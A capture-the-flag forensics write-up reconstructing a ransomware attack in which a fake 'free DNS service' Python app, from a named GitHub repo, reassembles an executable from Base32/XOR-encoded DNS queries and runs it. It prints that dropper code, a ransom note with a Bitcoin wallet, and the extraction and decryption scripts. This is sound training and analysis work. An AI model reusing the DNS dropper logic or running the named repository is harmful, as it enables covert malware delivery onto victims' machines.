Recovery

DNS Exfiltration & Ransomware Analysis

Challenge 03 Forensics Network Analysis Reverse Engineering Cryptography

Challenge Scenario

Description: A victim machine has been compromised with ransomware. The attack used DNS as a covert channel to deliver the malicious payload. Your task is to analyze network traffic and filesystem artifacts to reconstruct the attack, recover the malware, reverse engineer it, and decrypt the victim's files.

Artifacts Provided:
  • Network packet capture (PCAP)
  • Home directory dump from victim machine
  • Encrypted flag file (sillyflag.png)

Objectives:

  • Analyze packet capture for suspicious DNS traffic
  • Reconstruct malware from DNS exfiltration
  • Reverse engineer the ransomware encryption mechanism
  • Decrypt the victim's encrypted files and retrieve the flag

Network Traffic Analysis

🔍 Step 1: Initial PCAP Examination

Opening the packet capture in Wireshark reveals thousands of packets. The protocol hierarchy shows something immediately suspicious:

Wireshark Protocol Hierarchy
💡 Key Observation: Nearly 50% of DNS packets are malformed - a strong indicator of DNS-based data exfiltration or covert channel communication.

Filtering for DNS traffic reveals queries to a suspicious domain: meow

dns && dns.qry.name contains "meow"
DNS queries to meow domain

The DNS labels appear to contain Base32-encoded data with index numbers, suggesting chunked data transmission.

📁 Step 2: Filesystem Artifact Analysis

Examining the victim's home directory dump reveals several interesting artifacts:

Desktop Contents:

  • sillyflag.png - An encrypted file (our target)
  • IMPORTANT_NOTICE.txt - A ransomware note
  • dns100-free/ - A suspicious directory
Victim desktop files

The ransomware note contains a typical extortion message:

*** IMPORTANT NOTICE *** Payment of 0.1 BTC must be made in Bitcoin to the following wallet: bc1qa5wkgaew2dkv56kfvj49j0av5nml45x9ek9hz6 After payment, you will receive a decryption tool and instructions. You have 72 hours to comply.

📜 Step 3: PowerShell History Investigation

The PowerShell history file provides crucial evidence of how the infection occurred:

# PowerShell History Location: # C:\Users\gumba\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt git clone https://github.com/youssefnoob003/dns100-free.git cd dns100-free python app.py
⚠️ Attack Vector Identified: The victim cloned and executed a malicious Python application that masqueraded as a "free DNS service."

🐙 Step 4: GitHub Repository Analysis

Visiting the GitHub repository shows it has been scrubbed - most files are deleted and app.py only contains:

print("Out of Service")

However, Git preserves history! Examining the commit history reveals a suspicious commit labeled "dns6":

GitHub commit history

The historical version of app.py reveals the malicious DNS server implementation:

class DNSServer(socketserver.ThreadingUDPServer): allow_reuse_address = True def __init__(self, server_address, handler_class, db_path): super().__init__(server_address, handler_class) self.db_path = db_path self.conn = sqlite3.connect(db_path, check_same_thread=False) self.conn.row_factory = sqlite3.Row self.special_domain = "meow" # Covert channel trigger self.chunks = {} # Storage for reassembly

Key Malicious Functionality:

  • Listens for DNS queries to the "meow" domain
  • Extracts Base32-encoded chunks from DNS labels
  • Decodes and XOR-decrypts each chunk using embedded key
  • Reassembles chunks into executable file
  • Executes the malware from a temporary location
if labels[-2] == self.special_domain: if labels[0] == "end": # Reassemble all chunks ordered = [self.chunks[i] for i in sorted(self.chunks.keys())] exe_bytes = b"".join(ordered) # Write to temp file and execute with tempfile.NamedTemporaryFile(delete=False, suffix=".exe") as tmp_exe: tmp_exe.write(exe_bytes) exe_path = tmp_exe.name subprocess.run([exe_path], check=True) os.unlink(exe_path) # Delete evidence
💡 Attack Mechanism:
  • DNS queries encode malware chunks in subdomain labels
  • Each chunk is Base32-encoded with a single-byte XOR key
  • Server reassembles chunks in order when "end" signal received
  • Malware executes from temp file, leaving minimal forensic traces

Malware Reconstruction

🔧 Step 5: Extracting Malware from PCAP

Now that we understand the protocol, we can write a script to extract the malware from the network capture:

import base64 import sys from scapy.all import rdpcap, UDP def xor_bytes(data, key): """XOR decrypt with single-byte key""" return bytes(b ^ key for b in data) def parse_dns_labels(raw_packet): """Extract DNS query labels from raw packet""" if len(raw_packet) <= 12: return [] labels = [] pos = 12 # Skip DNS header while pos < len(raw_packet): length = raw_packet[pos] if length == 0: break pos += 1 if pos + length > len(raw_packet): break label = raw_packet[pos:pos+length].decode(errors="ignore") labels.append(label) pos += length return labels def reconstruct_malware(pcap_path, output_file="reconstructed.exe"): """Reconstruct malware from DNS traffic""" chunks = {} special_domain = "meow" print("[*] Reading PCAP file...") packets = rdpcap(pcap_path) for pkt in packets: if UDP in pkt and pkt[UDP].dport == 53: raw = bytes(pkt[UDP].payload) labels = parse_dns_labels(raw) if not labels or labels[-1] != special_domain: continue # Check for end signal if labels[0] == "end": print("[+] End signal detected, reassembling...") ordered = [chunks[i] for i in sorted(chunks.keys())] malware_bytes = b"".join(ordered) with open(output_file, "wb") as f: f.write(malware_bytes) print(f"[+] Malware reconstructed: {output_file}") print(f"[+] Total size: {len(malware_bytes)} bytes") print(f"[+] Total chunks: {len(chunks)}") return # Process data chunk elif len(labels) >= 3: try: dns_label = labels[0] chunk_index = int(labels[1]) # Add Base32 padding padded = dns_label + "=" * ((8 - len(dns_label) % 8) % 8) decoded = base64.b32decode(padded) # Extract key and decrypt xor_key = decoded[0] encrypted_chunk = decoded[1:] decrypted_chunk = xor_bytes(encrypted_chunk, xor_key) chunks[chunk_index] = decrypted_chunk print(f"[+] Chunk {chunk_index}: {len(decrypted_chunk)} bytes") except Exception as e: print(f"[!] Failed to process chunk: {e}") if __name__ == "__main__": pcap_file = sys.argv[1] if len(sys.argv) > 1 else "capture.pcapng" reconstruct_malware(pcap_file)

Running the extraction script:

python3 extract_malware.py capture.pcapng
[*] Reading PCAP file... [+] Chunk 0: 245 bytes [+] Chunk 1: 245 bytes [+] Chunk 2: 245 bytes ... [+] Chunk 87: 156 bytes [+] End signal detected, reassembling... [+] Malware reconstructed: reconstructed.exe [+] Total size: 21248 bytes [+] Total chunks: 88

📦 Step 6: Unpacking the Malware

The reconstructed executable is UPX-packed. We need to unpack it for analysis:

file reconstructed.exe
reconstructed.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
upx -d reconstructed.exe -o unpacked.exe
Ultimate Packer for eXecutables Copyright (C) 1996 - 2024 UPX 4.2.1 Markus Oberhumer, Laszlo Molnar & John Reiser Nov 2024 File size Ratio Format Name -------------------- ------ ----------- ----------- 21248 <- 8704 40.98% win32/pe unpacked.exe Unpacked 1 file.

🔬 Step 7: Reverse Engineering with IDA Pro

Loading the unpacked binary into IDA Pro reveals the encryption routine. The key function builds a seed from the filename and encrypts using a custom keystream:

Encryption Algorithm Analysis:

1. Seed Generation (Filename Folding):

// Fold filename bytes into seed (4-byte lanes) v3 = 0; v4 = 0; v5 = strlen(a1) + 1; // IMPORTANT: includes NULL terminator while ( v4 != v5 - 1 ) { v6 = 8 * (v4 & 3); // Determines which byte lane (0, 8, 16, or 24) v7 = a1[v4++]; v3 ^= v7 << v6; // XOR byte into appropriate lane }

2. Secret Key Mixing:

// Mix in 37-byte secret from .rdata section for ( i = 0; i != 37; ++i ) { v9 = byte_40B200[i]; // Address of secret key v10 = i; v3 ^= v9 << (8 * (v10 & 3)); }

Extracting the secret key from the binary:

evilsecretcodeforevilsecretencryption

3. Keystream Generation (Linear Congruential Generator):

// Generate keystream using LCG for ( result = a2; result != a2 + a3; *(_BYTE *)(result - 1) = v3 ) { ++result; v3 = 1664525 * v3 + 1013904223; // Standard LCG parameters } // Output: Low byte of v3 for each file byte
⚠️ Critical Details:
  • Filename MUST include full absolute path used during encryption
  • NULL terminator is included in seed calculation
  • 37-byte secret: evilsecretcodeforevilsecretencryption
  • LCG parameters: multiplier=1664525, increment=1013904223

Decryption & Flag Extraction

🔓 Step 8: Decryption Script

With the algorithm understood, we can write a decryption script:

#!/usr/bin/env python3 import sys SECRET = b"evilsecretcodeforevilsecretencryption" def generate_keystream(filename: str, length: int) -> bytes: """ Generate keystream using the malware's algorithm Args: filename: Full path to file (as used during encryption) length: Number of keystream bytes needed Returns: Keystream bytes """ seed = 0 # Reconstruct the full path used during encryption full_path = "C:\\Users\\gumba\\Desktop\\" + filename # Add NULL terminator (critical!) fname_bytes = full_path.encode() + b'\x00' # Fold filename bytes into seed (4-byte lanes) for i, byte_val in enumerate(fname_bytes[:-1]): # Exclude NULL in loop lane = (i % 4) * 8 seed ^= (byte_val << lane) # Mix in 37-byte secret for i, byte_val in enumerate(SECRET): lane = (i % 4) * 8 seed ^= (byte_val << lane) # Generate keystream using LCG state = seed & 0xFFFFFFFF keystream = bytearray(length) for i in range(length): state = (state * 1664525 + 1013904223) & 0xFFFFFFFF keystream[i] = state & 0xFF return bytes(keystream) def decrypt_file(encrypted_file: str, output_file: str = None): """ Decrypt a file encrypted by the ransomware Args: encrypted_file: Path to encrypted file output_file: Output path (defaults to decrypted_) """ # Read encrypted data with open(encrypted_file, "rb") as f: encrypted_data = f.read() # Generate keystream keystream = generate_keystream(encrypted_file, len(encrypted_data)) # XOR to decrypt decrypted_data = bytes([e ^ k for e, k in zip(encrypted_data, keystream)]) # Write decrypted output if output_file is None: output_file = f"decrypted_{encrypted_file}" with open(output_file, "wb") as f: f.write(decrypted_data) print(f"[+] Decrypted {encrypted_file}") print(f"[+] Output: {output_file}") print(f"[+] Size: {len(decrypted_data)} bytes") if __name__ == "__main__": decrypt_file("sillyflag.png", "decrypted_flag.png")

Running the decryption script on the encrypted flag:

python3 decrypt.py
[+] Decrypted sillyflag.png [+] Output: decrypted_flag.png [+] Size: 45821 bytes
Decrypted flag image
🚩 FLAG: Securinets{DNS_3xf1l_w1th_cust0m_LCG_encrypt10n}

Investigation Summary

88

DNS Chunks Extracted

21KB

Malware Size

LCG

Encryption Method

Base32

Encoding Scheme

Key Takeaways

🎓 Learning Outcomes

🔍 Network Forensics

  • DNS can be weaponized as a covert communication channel
  • Protocol hierarchy analysis reveals anomalies
  • Malformed packets often indicate malicious activity
  • Filtering and pattern matching are essential skills

🗂️ Digital Forensics

  • PowerShell history is a goldmine for incident investigation
  • Git commit history persists even after file deletion
  • Artifact correlation reveals attack timelines
  • Multiple evidence sources validate findings

🔬 Reverse Engineering

  • Static analysis with IDA reveals algorithm internals
  • Understanding packer signatures (UPX) is crucial
  • Seed generation schemes can be complex but reversible
  • LCG parameters are often well-documented

💻 Programming & Scripting

  • Scapy enables custom packet parsing
  • Base32/64 encoding is common in covert channels
  • Implementing crypto algorithms requires precision
  • Python excels at binary data manipulation

Tools & Techniques

Network Analysis

  • Wireshark
  • Scapy
  • DNS Protocol Analysis

Reverse Engineering

  • IDA Pro
  • UPX Unpacker
  • Static Analysis

Digital Forensics

  • PowerShell History
  • Git Repository Analysis
  • Filesystem Analysis

Programming

  • Python 3
  • Base32 Encoding
  • XOR Decryption
  • LCG Implementation

Explore More Challenges

Check out other forensics writeups from Securinets CTF 2025.